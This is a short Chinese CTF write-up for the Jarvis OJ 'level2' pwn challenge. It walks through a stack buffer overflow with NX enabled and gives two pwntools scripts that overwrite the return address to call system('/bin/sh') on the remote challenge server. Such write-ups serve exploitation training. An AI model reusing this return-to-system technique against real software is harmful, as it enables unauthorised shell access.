gaonuoqi

题目地址

 

开启了NX 那么就不能shellcode

 

read存在栈溢出

 

 IDA按Shift+F12查看字符串,发现有shell

buf需要填充0x92个字符(0x88+0x4)

 

 

现在可以构造一个system("/bin/sh")的栈帧,通过控制vulnerable_function函数返回到该栈帧的地址,执行system("/bin/sh")来获取shell

 system的地址为08048320

/bin/sh的地址为0804A024

 利用代码如下

from pwn import *
r=remote(\'pwn2.jarvisoj.com\',9878)
payload=\'a\'*(0x88+0x4)+p32(0x08048320)+\'aaaa\'+p32(0x804a024) //跳到system地址,返回地址为0xaaaa,参数为/bin/sh
r.sendline(payload)
r.interactive()          

或者               

from pwn import *
p = remote(\'pwn2.jarvisoj.com\',\'9878\') elf = ELF(\'./level2\') sh_addr = elf.search(\'/bin/sh\').next() print p32(sh_addr) system_addr = elf.symbols[\'system\'] print p32(system_addr) payload = \'a\' * (0x88 + 0x4) + p32(system_addr) +\'aaaa\' + p32(sh_addr) p.send(payload) p.interactive()

执行

 

 

分类:

技术点:

相关文章:

  • 2021-09-17
  • 2021-09-17
  • 2021-09-29
  • 2021-09-17
  • 2021-09-17
  • 2022-12-23
  • 2021-09-17
  • 2021-09-17
猜你喜欢
  • 2021-10-26
  • 2021-09-17
  • 2021-09-29
  • 2022-12-23
  • 2021-11-05
  • 2021-09-17
相关资源
相似解决方案